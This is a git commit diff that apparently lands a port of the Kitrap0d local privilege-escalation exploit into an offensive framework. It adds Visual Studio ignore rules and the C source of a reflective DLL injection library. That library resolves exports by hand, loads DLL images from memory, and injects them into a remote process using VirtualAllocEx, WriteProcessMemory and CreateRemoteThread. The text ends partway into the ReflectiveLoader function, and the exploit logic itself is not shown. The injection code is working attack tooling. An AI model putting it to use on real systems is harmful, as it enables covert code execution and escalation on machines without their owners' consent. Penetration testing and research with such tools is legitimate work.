Land #2633, @OJ's port of Kitrap0d as local exploit
This commit is contained in:
commit
4cf16cf360
|
@ -41,3 +41,13 @@ tags
|
|||
*~
|
||||
# Ignore backups of retabbed files
|
||||
*.notab
|
||||
|
||||
# ignore Visual Studio external source garbage
|
||||
*.suo
|
||||
*.sdf
|
||||
*.opensdf
|
||||
*.user
|
||||
|
||||
# ignore release/debug folders for exploits
|
||||
external/source/exploits/**/Debug
|
||||
external/source/exploits/**/Release
|
||||
|
|
Binary file not shown.
|
@ -0,0 +1,116 @@
|
|||
//===============================================================================================//
|
||||
// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
|
||||
// All rights reserved.
|
||||
//
|
||||
// Redistribution and use in source and binary forms, with or without modification, are permitted
|
||||
// provided that the following conditions are met:
|
||||
//
|
||||
// * Redistributions of source code must retain the above copyright notice, this list of
|
||||
// conditions and the following disclaimer.
|
||||
//
|
||||
// * Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||
// conditions and the following disclaimer in the documentation and/or other materials provided
|
||||
// with the distribution.
|
||||
//
|
||||
// * Neither the name of Harmony Security nor the names of its contributors may be used to
|
||||
// endorse or promote products derived from this software without specific prior written permission.
|
||||
//
|
||||
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
|
||||
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
|
||||
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
|
||||
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
|
||||
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||
// POSSIBILITY OF SUCH DAMAGE.
|
||||
//===============================================================================================//
|
||||
#include "GetProcAddressR.h"
|
||||
//===============================================================================================//
|
||||
// We implement a minimal GetProcAddress to avoid using the native kernel32!GetProcAddress which
|
||||
// wont be able to resolve exported addresses in reflectivly loaded librarys.
|
||||
FARPROC WINAPI GetProcAddressR( HANDLE hModule, LPCSTR lpProcName )
|
||||
{
|
||||
UINT_PTR uiLibraryAddress = 0;
|
||||
FARPROC fpResult = NULL;
|
||||
|
||||
if( hModule == NULL )
|
||||
return NULL;
|
||||
|
||||
// a module handle is really its base address
|
||||
uiLibraryAddress = (UINT_PTR)hModule;
|
||||
|
||||
__try
|
||||
{
|
||||
UINT_PTR uiAddressArray = 0;
|
||||
UINT_PTR uiNameArray = 0;
|
||||
UINT_PTR uiNameOrdinals = 0;
|
||||
PIMAGE_NT_HEADERS pNtHeaders = NULL;
|
||||
PIMAGE_DATA_DIRECTORY pDataDirectory = NULL;
|
||||
PIMAGE_EXPORT_DIRECTORY pExportDirectory = NULL;
|
||||
|
||||
// get the VA of the modules NT Header
|
||||
pNtHeaders = (PIMAGE_NT_HEADERS)(uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew);
|
||||
|
||||
pDataDirectory = (PIMAGE_DATA_DIRECTORY)&pNtHeaders->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
|
||||
|
||||
// get the VA of the export directory
|
||||
pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)( uiLibraryAddress + pDataDirectory->VirtualAddress );
|
||||
|
||||
// get the VA for the array of addresses
|
||||
uiAddressArray = ( uiLibraryAddress + pExportDirectory->AddressOfFunctions );
|
||||
|
||||
// get the VA for the array of name pointers
|
||||
uiNameArray = ( uiLibraryAddress + pExportDirectory->AddressOfNames );
|
||||
|
||||
// get the VA for the array of name ordinals
|
||||
uiNameOrdinals = ( uiLibraryAddress + pExportDirectory->AddressOfNameOrdinals );
|
||||
|
||||
// test if we are importing by name or by ordinal...
|
||||
if( ((DWORD)lpProcName & 0xFFFF0000 ) == 0x00000000 )
|
||||
{
|
||||
// import by ordinal...
|
||||
|
||||
// use the import ordinal (- export ordinal base) as an index into the array of addresses
|
||||
uiAddressArray += ( ( IMAGE_ORDINAL( (DWORD)lpProcName ) - pExportDirectory->Base ) * sizeof(DWORD) );
|
||||
|
||||
// resolve the address for this imported function
|
||||
fpResult = (FARPROC)( uiLibraryAddress + DEREF_32(uiAddressArray) );
|
||||
}
|
||||
else
|
||||
{
|
||||
// import by name...
|
||||
DWORD dwCounter = pExportDirectory->NumberOfNames;
|
||||
while( dwCounter-- )
|
||||
{
|
||||
char * cpExportedFunctionName = (char *)(uiLibraryAddress + DEREF_32( uiNameArray ));
|
||||
|
||||
// test if we have a match...
|
||||
if( strcmp( cpExportedFunctionName, lpProcName ) == 0 )
|
||||
{
|
||||
// use the functions name ordinal as an index into the array of name pointers
|
||||
uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );
|
||||
|
||||
// calculate the virtual address for the function
|
||||
fpResult = (FARPROC)(uiLibraryAddress + DEREF_32( uiAddressArray ));
|
||||
|
||||
// finish...
|
||||
break;
|
||||
}
|
||||
|
||||
// get the next exported function name
|
||||
uiNameArray += sizeof(DWORD);
|
||||
|
||||
// get the next exported function name ordinal
|
||||
uiNameOrdinals += sizeof(WORD);
|
||||
}
|
||||
}
|
||||
}
|
||||
__except( EXCEPTION_EXECUTE_HANDLER )
|
||||
{
|
||||
fpResult = NULL;
|
||||
}
|
||||
|
||||
return fpResult;
|
||||
}
|
||||
//===============================================================================================//
|
|
@ -0,0 +1,36 @@
|
|||
//===============================================================================================//
|
||||
// Copyright (c) 2009, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
|
||||
// All rights reserved.
|
||||
//
|
||||
// Redistribution and use in source and binary forms, with or without modification, are permitted
|
||||
// provided that the following conditions are met:
|
||||
//
|
||||
// * Redistributions of source code must retain the above copyright notice, this list of
|
||||
// conditions and the following disclaimer.
|
||||
//
|
||||
// * Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||
// conditions and the following disclaimer in the documentation and/or other materials provided
|
||||
// with the distribution.
|
||||
//
|
||||
// * Neither the name of Harmony Security nor the names of its contributors may be used to
|
||||
// endorse or promote products derived from this software without specific prior written permission.
|
||||
//
|
||||
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
|
||||
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
|
||||
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
|
||||
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
|
||||
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||
// POSSIBILITY OF SUCH DAMAGE.
|
||||
//===============================================================================================//
|
||||
#ifndef _METERPRETER_SOURCE_REFLECTIVEDLLINJECTION_GETPROCADDRESSR_H
|
||||
#define _METERPRETER_SOURCE_REFLECTIVEDLLINJECTION_GETPROCADDRESSR_H
|
||||
//===============================================================================================//
|
||||
#include "ReflectiveDLLInjection.h"
|
||||
|
||||
FARPROC WINAPI GetProcAddressR( HANDLE hModule, LPCSTR lpProcName );
|
||||
//===============================================================================================//
|
||||
#endif
|
||||
//===============================================================================================//
|
|
@ -0,0 +1,233 @@
|
|||
//===============================================================================================//
|
||||
// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
|
||||
// All rights reserved.
|
||||
//
|
||||
// Redistribution and use in source and binary forms, with or without modification, are permitted
|
||||
// provided that the following conditions are met:
|
||||
//
|
||||
// * Redistributions of source code must retain the above copyright notice, this list of
|
||||
// conditions and the following disclaimer.
|
||||
//
|
||||
// * Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||
// conditions and the following disclaimer in the documentation and/or other materials provided
|
||||
// with the distribution.
|
||||
//
|
||||
// * Neither the name of Harmony Security nor the names of its contributors may be used to
|
||||
// endorse or promote products derived from this software without specific prior written permission.
|
||||
//
|
||||
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
|
||||
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
|
||||
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
|
||||
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
|
||||
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||
// POSSIBILITY OF SUCH DAMAGE.
|
||||
//===============================================================================================//
|
||||
#include "LoadLibraryR.h"
|
||||
//===============================================================================================//
|
||||
DWORD Rva2Offset( DWORD dwRva, UINT_PTR uiBaseAddress )
|
||||
{
|
||||
WORD wIndex = 0;
|
||||
PIMAGE_SECTION_HEADER pSectionHeader = NULL;
|
||||
PIMAGE_NT_HEADERS pNtHeaders = NULL;
|
||||
|
||||
pNtHeaders = (PIMAGE_NT_HEADERS)(uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew);
|
||||
|
||||
pSectionHeader = (PIMAGE_SECTION_HEADER)((UINT_PTR)(&pNtHeaders->OptionalHeader) + pNtHeaders->FileHeader.SizeOfOptionalHeader);
|
||||
|
||||
if( dwRva < pSectionHeader[0].PointerToRawData )
|
||||
return dwRva;
|
||||
|
||||
for( wIndex=0 ; wIndex < pNtHeaders->FileHeader.NumberOfSections ; wIndex++ )
|
||||
{
|
||||
if( dwRva >= pSectionHeader[wIndex].VirtualAddress && dwRva < (pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].SizeOfRawData) )
|
||||
return ( dwRva - pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].PointerToRawData );
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
//===============================================================================================//
|
||||
DWORD GetReflectiveLoaderOffset( VOID * lpReflectiveDllBuffer )
|
||||
{
|
||||
UINT_PTR uiBaseAddress = 0;
|
||||
UINT_PTR uiExportDir = 0;
|
||||
UINT_PTR uiNameArray = 0;
|
||||
UINT_PTR uiAddressArray = 0;
|
||||
UINT_PTR uiNameOrdinals = 0;
|
||||
DWORD dwCounter = 0;
|
||||
#ifdef _WIN64
|
||||
DWORD dwMeterpreterArch = 2;
|
||||
#else
|
||||
// This will catch Win32 and WinRT.
|
||||
DWORD dwMeterpreterArch = 1;
|
||||
#endif
|
||||
|
||||
uiBaseAddress = (UINT_PTR)lpReflectiveDllBuffer;
|
||||
|
||||
// get the File Offset of the modules NT Header
|
||||
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
|
||||
|
||||
// currenlty we can only process a PE file which is the same type as the one this fuction has
|
||||
// been compiled as, due to various offset in the PE structures being defined at compile time.
|
||||
if( ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.Magic == 0x010B ) // PE32
|
||||
{
|
||||
if( dwMeterpreterArch != 1 )
|
||||
return 0;
|
||||
}
|
||||
else if( ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.Magic == 0x020B ) // PE64
|
||||
{
|
||||
if( dwMeterpreterArch != 2 )
|
||||
return 0;
|
||||
}
|
||||
else
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
|
||||
// uiNameArray = the address of the modules export directory entry
|
||||
uiNameArray = (UINT_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
|
||||
|
||||
// get the File Offset of the export directory
|
||||
uiExportDir = uiBaseAddress + Rva2Offset( ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress, uiBaseAddress );
|
||||
|
||||
// get the File Offset for the array of name pointers
|
||||
uiNameArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames, uiBaseAddress );
|
||||
|
||||
// get the File Offset for the array of addresses
|
||||
uiAddressArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions, uiBaseAddress );
|
||||
|
||||
// get the File Offset for the array of name ordinals
|
||||
uiNameOrdinals = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals, uiBaseAddress );
|
||||
|
||||
// get a counter for the number of exported functions...
|
||||
dwCounter = ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->NumberOfNames;
|
||||
|
||||
// loop through all the exported functions to find the ReflectiveLoader
|
||||
while( dwCounter-- )
|
||||
{
|
||||
char * cpExportedFunctionName = (char *)(uiBaseAddress + Rva2Offset( DEREF_32( uiNameArray ), uiBaseAddress ));
|
||||
|
||||
if( strstr( cpExportedFunctionName, "ReflectiveLoader" ) != NULL )
|
||||
{
|
||||
// get the File Offset for the array of addresses
|
||||
uiAddressArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions, uiBaseAddress );
|
||||
|
||||
// use the functions name ordinal as an index into the array of name pointers
|
||||
uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );
|
||||
|
||||
// return the File Offset to the ReflectiveLoader() functions code...
|
||||
return Rva2Offset( DEREF_32( uiAddressArray ), uiBaseAddress );
|
||||
}
|
||||
// get the next exported function name
|
||||
uiNameArray += sizeof(DWORD);
|
||||
|
||||
// get the next exported function name ordinal
|
||||
uiNameOrdinals += sizeof(WORD);
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
//===============================================================================================//
|
||||
// Loads a DLL image from memory via its exported ReflectiveLoader function
|
||||
HMODULE WINAPI LoadLibraryR( LPVOID lpBuffer, DWORD dwLength )
|
||||
{
|
||||
HMODULE hResult = NULL;
|
||||
DWORD dwReflectiveLoaderOffset = 0;
|
||||
DWORD dwOldProtect1 = 0;
|
||||
DWORD dwOldProtect2 = 0;
|
||||
REFLECTIVELOADER pReflectiveLoader = NULL;
|
||||
DLLMAIN pDllMain = NULL;
|
||||
|
||||
if( lpBuffer == NULL || dwLength == 0 )
|
||||
return NULL;
|
||||
|
||||
__try
|
||||
{
|
||||
// check if the library has a ReflectiveLoader...
|
||||
dwReflectiveLoaderOffset = GetReflectiveLoaderOffset( lpBuffer );
|
||||
if( dwReflectiveLoaderOffset != 0 )
|
||||
{
|
||||
pReflectiveLoader = (REFLECTIVELOADER)((UINT_PTR)lpBuffer + dwReflectiveLoaderOffset);
|
||||
|
||||
// we must VirtualProtect the buffer to RWX so we can execute the ReflectiveLoader...
|
||||
// this assumes lpBuffer is the base address of the region of pages and dwLength the size of the region
|
||||
if( VirtualProtect( lpBuffer, dwLength, PAGE_EXECUTE_READWRITE, &dwOldProtect1 ) )
|
||||
{
|
||||
// call the librarys ReflectiveLoader...
|
||||
pDllMain = (DLLMAIN)pReflectiveLoader();
|
||||
if( pDllMain != NULL )
|
||||
{
|
||||
// call the loaded librarys DllMain to get its HMODULE
|
||||
// Dont call DLL_METASPLOIT_ATTACH/DLL_METASPLOIT_DETACH as that is for payloads only.
|
||||
if( !pDllMain( NULL, DLL_QUERY_HMODULE, &hResult ) )
|
||||
hResult = NULL;
|
||||
}
|
||||
// revert to the previous protection flags...
|
||||
VirtualProtect( lpBuffer, dwLength, dwOldProtect1, &dwOldProtect2 );
|
||||
}
|
||||
}
|
||||
}
|
||||
__except( EXCEPTION_EXECUTE_HANDLER )
|
||||
{
|
||||
hResult = NULL;
|
||||
}
|
||||
|
||||
return hResult;
|
||||
}
|
||||
//===============================================================================================//
|
||||
// Loads a PE image from memory into the address space of a host process via the image's exported ReflectiveLoader function
|
||||
// Note: You must compile whatever you are injecting with REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
|
||||
// defined in order to use the correct RDI prototypes.
|
||||
// Note: The hProcess handle must have these access rights: PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION |
|
||||
// PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ
|
||||
// Note: If you are passing in an lpParameter value, if it is a pointer, remember it is for a different address space.
|
||||
// Note: This function currently cant inject accross architectures, but only to architectures which are the
|
||||
// same as the arch this function is compiled as, e.g. x86->x86 and x64->x64 but not x64->x86 or x86->x64.
|
||||
HANDLE WINAPI LoadRemoteLibraryR( HANDLE hProcess, LPVOID lpBuffer, DWORD dwLength, LPVOID lpParameter )
|
||||
{
|
||||
LPVOID lpRemoteLibraryBuffer = NULL;
|
||||
LPTHREAD_START_ROUTINE lpReflectiveLoader = NULL;
|
||||
HANDLE hThread = NULL;
|
||||
DWORD dwReflectiveLoaderOffset = 0;
|
||||
DWORD dwThreadId = 0;
|
||||
|
||||
__try
|
||||
{
|
||||
do
|
||||
{
|
||||
if( !hProcess || !lpBuffer || !dwLength )
|
||||
break;
|
||||
|
||||
// check if the library has a ReflectiveLoader...
|
||||
dwReflectiveLoaderOffset = GetReflectiveLoaderOffset( lpBuffer );
|
||||
if( !dwReflectiveLoaderOffset )
|
||||
break;
|
||||
|
||||
// alloc memory (RWX) in the host process for the image...
|
||||
lpRemoteLibraryBuffer = VirtualAllocEx( hProcess, NULL, dwLength, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
|
||||
if( !lpRemoteLibraryBuffer )
|
||||
break;
|
||||
|
||||
// write the image into the host process...
|
||||
if( !WriteProcessMemory( hProcess, lpRemoteLibraryBuffer, lpBuffer, dwLength, NULL ) )
|
||||
break;
|
||||
|
||||
// add the offset to ReflectiveLoader() to the remote library address...
|
||||
lpReflectiveLoader = (LPTHREAD_START_ROUTINE)( (ULONG_PTR)lpRemoteLibraryBuffer + dwReflectiveLoaderOffset );
|
||||
|
||||
// create a remote thread in the host process to call the ReflectiveLoader!
|
||||
hThread = CreateRemoteThread( hProcess, NULL, 1024*1024, lpReflectiveLoader, lpParameter, (DWORD)NULL, &dwThreadId );
|
||||
|
||||
} while( 0 );
|
||||
|
||||
}
|
||||
__except( EXCEPTION_EXECUTE_HANDLER )
|
||||
{
|
||||
hThread = NULL;
|
||||
}
|
||||
|
||||
return hThread;
|
||||
}
|
||||
//===============================================================================================//
|
|
@ -0,0 +1,41 @@
|
|||
//===============================================================================================//
|
||||
// Copyright (c) 2009, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
|
||||
// All rights reserved.
|
||||
//
|
||||
// Redistribution and use in source and binary forms, with or without modification, are permitted
|
||||
// provided that the following conditions are met:
|
||||
//
|
||||
// * Redistributions of source code must retain the above copyright notice, this list of
|
||||
// conditions and the following disclaimer.
|
||||
//
|
||||
// * Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||
// conditions and the following disclaimer in the documentation and/or other materials provided
|
||||
// with the distribution.
|
||||
//
|
||||
// * Neither the name of Harmony Security nor the names of its contributors may be used to
|
||||
// endorse or promote products derived from this software without specific prior written permission.
|
||||
//
|
||||
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
|
||||
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
|
||||
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
|
||||
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
|
||||
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||
// POSSIBILITY OF SUCH DAMAGE.
|
||||
//===============================================================================================//
|
||||
#ifndef _METERPRETER_SOURCE_REFLECTIVEDLLINJECTION_LOADLIBRARYR_H
|
||||
#define _METERPRETER_SOURCE_REFLECTIVEDLLINJECTION_LOADLIBRARYR_H
|
||||
//===============================================================================================//
|
||||
#include "ReflectiveDLLInjection.h"
|
||||
|
||||
DWORD GetReflectiveLoaderOffset( VOID * lpReflectiveDllBuffer );
|
||||
|
||||
HMODULE WINAPI LoadLibraryR( LPVOID lpBuffer, DWORD dwLength );
|
||||
|
||||
HANDLE WINAPI LoadRemoteLibraryR( HANDLE hProcess, LPVOID lpBuffer, DWORD dwLength, LPVOID lpParameter );
|
||||
|
||||
//===============================================================================================//
|
||||
#endif
|
||||
//===============================================================================================//
|
|
@ -0,0 +1,53 @@
|
|||
//===============================================================================================//
|
||||
// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
|
||||
// All rights reserved.
|
||||
//
|
||||
// Redistribution and use in source and binary forms, with or without modification, are permitted
|
||||
// provided that the following conditions are met:
|
||||
//
|
||||
// * Redistributions of source code must retain the above copyright notice, this list of
|
||||
// conditions and the following disclaimer.
|
||||
//
|
||||
// * Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||
// conditions and the following disclaimer in the documentation and/or other materials provided
|
||||
// with the distribution.
|
||||
//
|
||||
// * Neither the name of Harmony Security nor the names of its contributors may be used to
|
||||
// endorse or promote products derived from this software without specific prior written permission.
|
||||
//
|
||||
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
|
||||
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
|
||||
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
|
||||
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
|
||||
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||
// POSSIBILITY OF SUCH DAMAGE.
|
||||
//===============================================================================================//
|
||||
#ifndef _METERPRETER_SOURCE_REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H
|
||||
#define _METERPRETER_SOURCE_REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H
|
||||
//===============================================================================================//
|
||||
#define WIN32_LEAN_AND_MEAN
|
||||
#include <windows.h>
|
||||
|
||||
// we declare some common stuff in here...
|
||||
|
||||
#define DLL_METASPLOIT_ATTACH 4
|
||||
#define DLL_METASPLOIT_DETACH 5
|
||||
#define DLL_QUERY_HMODULE 6
|
||||
|
||||
#define DEREF( name )*(UINT_PTR *)(name)
|
||||
#define DEREF_64( name )*(DWORD64 *)(name)
|
||||
#define DEREF_32( name )*(DWORD *)(name)
|
||||
#define DEREF_16( name )*(WORD *)(name)
|
||||
#define DEREF_8( name )*(BYTE *)(name)
|
||||
|
||||
typedef UINT_PTR (WINAPI * REFLECTIVELOADER)( VOID );
|
||||
typedef BOOL (WINAPI * DLLMAIN)( HINSTANCE, DWORD, LPVOID );
|
||||
|
||||
#define DLLEXPORT __declspec( dllexport )
|
||||
|
||||
//===============================================================================================//
|
||||
#endif
|
||||
//===============================================================================================//
|
|
@ -0,0 +1,599 @@
|
|||
//===============================================================================================//
|
||||
// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
|
||||
// All rights reserved.
|
||||
//
|
||||
// Redistribution and use in source and binary forms, with or without modification, are permitted
|
||||
// provided that the following conditions are met:
|
||||
//
|
||||
// * Redistributions of source code must retain the above copyright notice, this list of
|
||||
// conditions and the following disclaimer.
|
||||
//
|
||||
// * Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||
// conditions and the following disclaimer in the documentation and/or other materials provided
|
||||
// with the distribution.
|
||||
//
|
||||
// * Neither the name of Harmony Security nor the names of its contributors may be used to
|
||||
// endorse or promote products derived from this software without specific prior written permission.
|
||||
//
|
||||
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
|
||||
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
|
||||
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
|
||||
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
|
||||
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||
// POSSIBILITY OF SUCH DAMAGE.
|
||||
//===============================================================================================//
|
||||
#include "ReflectiveLoader.h"
|
||||
//===============================================================================================//
|
||||
// Our loader will set this to a pseudo correct HINSTANCE/HMODULE value
|
||||
HINSTANCE hAppInstance = NULL;
|
||||
//===============================================================================================//
|
||||
#pragma intrinsic( _ReturnAddress )
|
||||
// This function can not be inlined by the compiler or we will not get the address we expect. Ideally
|
||||
// this code will be compiled with the /O2 and /Ob1 switches. Bonus points if we could take advantage of
|
||||
// RIP relative addressing in this instance but I dont believe we can do so with the compiler intrinsics
|
||||
// available (and no inline asm available under x64).
|
||||
__declspec(noinline) ULONG_PTR caller( VOID ) { return (ULONG_PTR)_ReturnAddress(); }
|
||||
//===============================================================================================//
|
||||
|
||||
#ifdef ENABLE_OUTPUTDEBUGSTRING
|
||||
#define OUTPUTDBG(str) pOutputDebug((LPCSTR)str)
|
||||
#else /* ENABLE_OUTPUTDEBUGSTRING */
|
||||
#define OUTPUTDBG(str) do{}while(0)
|
||||
#endif
|
||||
|
||||
// Note 1: If you want to have your own DllMain, define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN,
|
||||
// otherwise the DllMain at the end of this file will be used.
|
||||
|
||||
// Note 2: If you are injecting the DLL via LoadRemoteLibraryR, define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR,
|
||||
// otherwise it is assumed you are calling the ReflectiveLoader via a stub.
|
||||
|
||||
// This is our position independent reflective DLL loader/injector
|
||||
#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
|
||||
DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader( LPVOID lpParameter )
|
||||
#else
|
||||
DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader( VOID )
|
||||
#endif
|
||||
{
|
||||
// the functions we need
|
||||
LOADLIBRARYA pLoadLibraryA = NULL;
|
||||
GETPROCADDRESS pGetProcAddress = NULL;
|
||||
VIRTUALALLOC pVirtualAlloc = NULL;
|
||||
NTFLUSHINSTRUCTIONCACHE pNtFlushInstructionCache = NULL;
|
||||
#ifdef ENABLE_STOPPAGING
|
||||
VIRTUALLOCK pVirtualLock = NULL;
|
||||
#endif
|
||||
